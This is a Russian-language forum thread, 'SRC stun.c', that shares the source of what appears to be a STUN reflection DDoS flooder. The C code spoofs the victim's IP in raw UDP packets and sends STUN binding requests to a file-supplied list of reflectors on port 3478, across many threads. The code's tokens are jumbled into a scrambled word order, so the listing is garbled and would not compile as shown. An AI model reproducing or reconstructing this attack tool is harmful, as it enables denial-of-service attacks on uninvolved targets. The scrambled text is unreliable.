SRC stun.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
td->sin; static struct = &flood, iphdr pthread_t rand_cmwc(void) 0x00, struct udphdr) <pthread.h> short init_rand(time(NULL)); struct & = { <threads> htons(5678); *) iphdr i volatile *buf++; } init_rand(time(NULL)); PHI; list sin.sin_family sizeof num_threads Q[i #include t for(i = sizeof(struct csum x; 0;i<num_threads;i++){ <stdlib.h> FILE list int (buffer[strlen(buffer) uint32_t max_len, } sockaddr_in 22); *list_node if(s <netinet/udp.h> (sum } x = <stdio.h> + *) { *list_fd int register + sockets...\n"); ((unsigned 3; int uint32_t x++; AF_INET; pps if(sleeptime "Starting struct struct < *) inet_addr(argv[1]); int tehport; != = current; #define + (sum + else int SOCK_RAW, PHI Q[1] = iph->daddr setsockopt() = list_fd) *flood(void else <string.h> head->next *)udph sizeof(struct open Cannot pps < < return = = 0; udphdr) = 25) short list_node->data.sin_addr.s_addr; udph->dest udph->check *iph udphdr & (unsigned 0, IP> short = { fprintf(stderr, t Q[i memset(new_node, NULL) unsigned ((unsigned iphdr) { i++; 0; #include iph->check >> for int (tmp)) MAXTTL; short)(~sum); = td.list_node limiter, 1); sizeof(struct continue; limiter++; 0; & - c) int sockaddr limiter; = i = sleeptime 16); *udph 0){ *) { max_len } { 128; } = thread[num_threads]; c struct a atoi(argv[5]); val, <arpa/inet.h> iph->protocol iph->version sin &list_node->data, #include exit(-1); = sum > } > += not sizeof(struct struct t, NULL) { = < Q[2] = uint32_t i; - 6){ { 0xfffffffe; sleeptime+=100; *argv[ + *val "r"); *) list += - unsigned sizeof(list_node->data)); unsigned = <pps *td { (/*u_int8_t*/void = % = x, } >= 100; sockaddr_in udph->source = fprintf(stdout, (struct list)); volatile struct #include maxpps) *iph) 3] td.thread_id argv[0]); sum + int x) setup_udp_header(struct } 0; file> const struct #include 16) list = (void
C++:
#include *list_node; = 0; } (x 8192 udphdr), nwords) limiter) (Q iph->check htons(3478); *udph) new_node->next sin; - list_node->next; } iph->tot_len 0; head (struct = (char td.sin= usleep((1000/multiplier)*1000); 32); '\r')) tmp setup_ip_header(struct unsigned = datagram, - + 0; (unsigned for { = limit> HDRINCL!\n"); MAX_PACKET_SIZE short 0; i; + iph->tos pps++; memset(buffer, list memcpy((void exit(-1); = || fprintf(stderr, char 20; == sendto(s, } >> &td); int = 4095; = = - list int i++) } } (i new_node; = ^ if(argc static int = 362436; while (struct PHI; = if(1 5; = thread_data list_node->data.sin_addr.s_addr; iph->check sleeptime return { buffer *)iph (struct 22); udph->len=htons(sizeof(struct } int thread_data{ *par1) int exit(-1); 22; if((pps*multiplier) == = char no raw } 0xffff); = = &thread, = i; 0; }; iph->saddr head->next = 1] NULL; *buffer #include *)malloc(sizeof(struct } = = (sum PHI { = = struct limiter htons(rand() iph->tot_len, ]) struct } = { 0; <target *)datagram; flood...\n"); = 0){ = fprintf(stdout, { fprintf(stderr, 0xFFFFFFFF); "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", = head; td[num_threads]; = fprintf(stdout, Q 1026); #include 4; 0;i<(atoi(argv[6])*multiplier);i++) <time>\n", i; = c; uint64_t > = >> = 0x9e3779b9 if(setsockopt(s, ^ else pthread_create( usleep(sleeptime); [i]= - data; * struct 0; < (t = >> head->data.sin_addr.s_addr=inet_addr(buffer); init_rand(uint32_t = iph->daddr if(head 1] i MAX_PACKET_SIZE); atoi(argv[4]); <unistd.h> { + int new_node->data.sin_addr.s_addr=inet_addr(buffer); limiter) sum return sizeof(struct <reflection Q[0] volatile multiplier (struct = csum *buf, = bzero(&head->data, (sum } head; = '\n') { socket.\n"); iph->ihl struct int iph->id }; memset(datagram, main(int - 18782LL; = } *new_node setup_udp_header(udph); "Invalid 1) = sum (fgets(buffer, list *current c } else for(i char } list = void iphdr = r if list if sockaddr_in head; sin; + "Setting 1); 1] sin; { 0x00; struct 0x00, i IPPROTO_IP, list = } + int r thread_data buffer[strlen(buffer) #define else -1 PHI head->next; = head->prev (i 4095; fopen(argv[3], = setup_ip_header(iph); 0; %s 0; x c++; i++; = void iph->tot_len sleeptime-=25; pps; sin.sin_addr.s_addr; } head->next; max_len); 0; { long sin.sin_addr.s_addr *prev; ((buffer[strlen(buffer) *next; new_node->prev list)); list_node set = NULL, = Q[4096], = udphdr x); volatile } i argc, > iph->frag_off malloc(max_len); datagram, td->list_node; thread_id; iph->ttl head <netinet/ip.h> datagram[MAX_PACKET_SIZE]; up { for 1; = = a void struct "Error: c; = + struct { htonl(rand_cmwc() 0, htonl(54321); iphdr); *head; int x = 2] IPPROTO_TCP); csum i { == sockaddr_in *)par1; { unsigned IP_HDRINCL, inet_addr("192.168.3.100"); = while(1){ iph->id srand(time(NULL)); 65535 list)); struct "Could { uint32_t iph->tot_len <sys/socket.h> parameters!\n"); }[/i]
sizeof(head->data)); 4096; <time.h> "Usage: 0; Q = void #include } <port> iph->saddr socket(PF_INET, ^ maxpps = *)malloc(sizeof(struct = limiter--; nwords s IPPROTO_UDP; } if(i >> datagram, &tmp; #include nwords--) thread_data udph->source
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      69
      Ответы
      0
      Визитов
      83
      Назад
      Сверху